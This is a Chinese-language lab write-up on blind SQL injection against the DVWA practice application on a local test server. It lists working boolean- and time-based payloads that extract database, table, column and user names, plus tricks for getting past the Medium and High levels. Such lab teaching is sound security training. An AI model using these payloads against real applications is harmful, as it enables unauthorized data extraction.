1. SQL盲注简介
(1)SQL盲注
SQL Injection(Blind),即SQL盲注;
注入:可以查看到详细内容;
盲注:目标只会回复是或不是,没有详细内容;
(2)手工盲注思路
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是d啊?”,通过这种机械的询问,最终获得你想要的数据。
(3)SQL盲注的类型
基于布尔值的盲注;
基于时间的盲注;
基于报错的盲注;
在本次实验中只演示基于布尔值的盲注与基于时间的盲注;
(4)SQL盲注的过程
1. 判断是否存在注入,注入是字符型还是数字型;
2. 猜解当前数据库名;
猜解数据库的长度;猜解数据库的名称;
3. 猜解数据库中的表名;
猜解库中有几个表;猜解表的长度;猜解表的名称;
4. 猜解表中的字段名;
猜解表中有几个字段;猜解字段的长度;猜解字段的名称;
5. 猜解数据;
2. SQL盲注
实验环境
(1)Windows服务器:Windows Server 2003,IP地址:192.168.37.128;
(2) 测试机:Windows7物理机(开启代理,代理服务器为burpsuite)
实验过程
安全级别:Low
(1)设置安全级别
(2)查看源码
(3)源码分析
Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞;
同时SQL语句查询返回的结果只有两种:
User ID exists in the database;User ID is MISSING from the database;
(4)实验操作
基于布尔值的盲注
4.1> 判断是否存在注入,注入是字符型还是数字型;
输入1,查询成功;
输入1' or '1'='1#,查询成功,证明存在字符型SQL注入;
4.2> 猜解当前数据库名;
4.2.1> 猜解数据库名的长度;
输入 1' and length(database()) =4 #
4.2.2> 猜解数据库名;(dvwa)
1' and ascii(substr(database(),1,1))=100# //d
1' and ascii(substr(database(),2,1))=118# //v
1' and ascii(substr(database(),3,1))=119# //w
1' and ascii(substr(database(),4,1))=97# //a
4.3> 猜解数据库中的表名;
4.3.1> 猜解数据库中表的个数(2)
输入 1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
4.3.2> 猜解数据库中表的长度(guestbook——9,users——5)
输入 1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#
输入 1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#
4.3.3> 猜解数据库中的表名(guestbook,users)
输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#
以此类推:guestbook中的k的表示为:
输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107#
以此类推:users表中u如下表示:
输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117#
4.4> 猜解表中的字段名;(以users表为例)
4.4.1> 猜解users表中有几个字段
输入 1' and (select count(column_name) from information_schema.columns where table_name='users')=8#
4.4.2> 猜解字段的长度(以user_id为例)
输入 1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#
4.4.3> 猜解字段的名称(以user_id中的u为例)
输入 1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117#
4.5> 猜解数据;
输入 1' and ascii(substr((select user from users limit 0,1),1,1))=97#
admin中的a;
基于时间的盲注
4.1> 判断是否存在注入,注入是字符型还是数字型;
输入 1' and sleep(5)# (字符型注入);
(留意左上角的缓冲,如果有缓冲时间,则证明正确,否则错误;)
4.2> 猜解当前数据库名;
4.2.1> 猜解数据库名的长度;
输入 1' and if(length(database()) =4,sleep(5) ,1)#
4.2.2> 猜解数据库名;(dvwa)
输入 1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)# //d
以此类推
4.3> 猜解数据库中的表名;
4.3.1> 猜解数据库中表的个数(2)
输入 1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)#
4.3.2> 猜解数据库中表的长度(guestbook——9,users——5)
输入 1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9,sleep(5),1)#
输入 1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5,sleep(5),1)#
4.3.3> 猜解数据库中的表名(guestbook,users)
输入 1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103,sleep(5),1)# //g
以此类推:guestbook中的k的表示为:
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107,sleep(5),1)# //k
以此类推:users表中u如下表示:
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)#
4.4> 猜解表中的字段名;(以users表为例)
4.4.1> 猜解users表中有几个字段
输入 1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#
4.4.2> 猜解字段的长度(以user_id为例)
输入 1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),1)#
4.4.3> 猜解字段的名称(以user_id中的u为例)
输入 1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)# //u
4.5> 猜解数据;
1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#
admin中的a;
安全级别:Medium
(1)设置安全级别
(2)查看源码;
(3)源码分析
可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义;
同时设置了下拉选择表单,控制用户的输入;
可以简单看出,用户只能选择1-5,存在数字型SQL注入;
(4)实验过程
虽然使用了下拉选择菜单,但是我们可以通过抓包修改参数,实现SQL注入;
基于布尔值的盲注
输入 1 and length(database())=4
接下来的操作与low级别基本上相似,只是不需要1后面的单引号和最后的#,操作如上;
安全级别:High
(1)设置安全级别
(2)查看源码
(3)源码分析
High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;
(4)实验过程
基于布尔值的盲注
猜解数据库名的长度
输入 1' and length(database()) =4 #
接下来的操作与low级别一样;
虽然源码中限制了输入的长度为1,但是我们在输入的最后加个#,就可以注释掉源码中的limit 1;
在High级别中,不适合用基于时间的盲注,因为High级别的源码中显示,不论猜解正确或者错误,都会sleep(rand(2,4));
安全级别:Impossible
(1)设置安全级别
(2)查看源码
(3)源码分析
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;
同时只有返回的查询结果数量为1时,才会输出;